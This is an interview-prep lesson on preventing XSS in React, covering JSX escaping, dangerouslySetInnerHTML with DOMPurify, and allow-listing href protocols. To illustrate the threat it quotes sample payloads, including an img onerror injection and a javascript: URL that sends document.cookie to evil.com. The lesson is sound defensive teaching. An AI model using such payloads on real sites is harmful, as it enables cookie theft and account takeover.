- React
- Frontend Security, Taint APIs, and Web Accessibility
- React Security: XSS Prevention & dangerouslySetInnerHTML
React Security: XSS Prevention & dangerouslySetInnerHTML
React automatically defends against Cross-Site Scripting (XSS) by escaping all string values inside JSX before rendering to the DOM. Vulnerabilities occur when developers bypass this with dangerouslySetInnerHTML without DOMPurify sanitization, or render user-controlled javascript: URLs in href attributes.
Key Learning Objectives
Explain how React automatically escapes strings rendered in JSX to prevent script injection.
Identify the two primary vectors for XSS in React: dangerouslySetInnerHTML and javascript: URLs in href.
Sanitize untrusted HTML strings using DOMPurify before rendering with dangerouslySetInnerHTML.
Audit third-party dependencies and markdown renderers for HTML injection vulnerabilities.
The Interview Problem & Context
Demonstrate how JSX prevents XSS by default, identify how unsafe user inputs exploit `dangerouslySetInnerHTML` and `href`, and implement secure sanitization with DOMPurify.
1import React from 'react';2import DOMPurify from 'dompurify';34interface CommentProps {5 userInput: string;6 userWebsiteUrl: string;7}89export function CommentView({ userInput, userWebsiteUrl }: CommentProps) {10 // 1. SAFE BY DEFAULT: React escapes all strings in JSX11 // If userInput is "<script>alert('xss')</script>", React converts it to plain text!12 const safeText = <div>{userInput}</div>;1314 // 2. VULNERABILITY 1: Unsanitized dangerouslySetInnerHTML15 // const unsafeHTML = <div dangerouslySetInnerHTML={{ __html: userInput }} />; // EXTREMELY DANGEROUS!1617 // SECURE REMEDIATION 1: Sanitize with DOMPurify before injection18 const cleanHTML = DOMPurify.sanitize(userInput);19 const secureRichText = (20 <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />21 );2223 // 3. VULNERABILITY 2: Unsafe javascript: protocol in href24 // React does NOT escape URLs in href! If url is "javascript:stealCookies()", clicking executes it!25 const isSafeUrl = (url: string) => {26 try {27 const parsed = new URL(url, 'https://example.com');28 return ['http:', 'https:', 'mailto:'].includes(parsed.protocol);29 } catch {30 return false;31 }32 };3334 return (35 <article className="comment">36 {safeText}37 {secureRichText}3839 {/* SECURE REMEDIATION 2: Protocol whitelist validation */}40 {isSafeUrl(userWebsiteUrl) ? (41 <a href={userWebsiteUrl} rel="noopener noreferrer" target="_blank">42 User Profile43 </a>44 ) : (45 <span className="invalid-url">Invalid Link</span>46 )}47 </article>48 );49}
Deep Architectural Explanation
How React Protects Against XSS (And Where It Fails)
1. React's Built-in Escaping:
When you write:
<div>{userInput}</div>React sets textContent rather than innerHTML under the hood. All HTML special characters (<, >, &, ", ') are rendered as plain text strings. Malicious script tags are never executed.
2. Vector 1: dangerouslySetInnerHTML
React deliberately named this prop dangerouslySetInnerHTML to remind engineers that it bypasses React's security guarantees.
- Attack: An attacker injects
<img src="invalid" onerror="stealSessionCookie()">. - Defense: Always sanitize via
DOMPurify.sanitize(input)to strip dangerous tags and event attributes while keeping safe markup like<b>and<em>.
3. Vector 2: javascript: URIs in Links
React does not sanitize URL protocols in href or src attributes!
- If an attacker provides:
javascript:fetch('https://evil.com?c=' + document.cookie), clicking that link executes arbitrary JavaScript in the victim's session! - Defense: Always validate URLs against an allowed protocol whitelist (
['https:', 'http:', 'mailto:']).
Common Interview Traps & Pitfalls
Believing React protects against malicious URLs in `href` or `src` attributes.
Using naive regex replacements to sanitize HTML instead of an audited parser like DOMPurify.
Relying on server-side escaping alone when user HTML can be modified or persisted client-side.
Senior Interviewer Follow-Up Probes
What is Content Security Policy (CSP) and how does it prevent inline script execution?
How does React Server Components prevent JSON injection compared to legacy SSR JSON serialization?
How do you safely render SVG files uploaded by untrusted users in React?
Frequently Asked Interview Questions
Why is dangerouslySetInnerHTML dangerous?
It instructs React to set innerHTML directly on the host DOM node, bypassing escaping. Any malicious <script> or <img onerror="..."> injected by an attacker will execute directly in the victim's browser.
How do you sanitize HTML before using dangerouslySetInnerHTML?
Use DOMPurify (DOMPurify.sanitize(untrustedHtml)). DOMPurify uses the browser's HTML parser to strip malicious tags, attributes, and scripts while preserving safe formatting.
Can XSS happen through the href attribute of an anchor tag in React?
Yes. If user-controlled input starts with "javascript:", clicking the link executes arbitrary code. React does not sanitize URL protocols; developers must validate URLs explicitly.
What is DOM-based XSS vs Stored XSS?
Stored XSS occurs when malicious input is saved in a database and rendered to multiple users. DOM-based XSS occurs entirely client-side when untrusted data from the URL or localStorage is written to the DOM.
What is Content Security Policy (CSP)?
An HTTP response header that restricts the resources (scripts, styles, images, iframes) the browser is allowed to load or execute, acting as a defense-in-depth barrier against XSS.
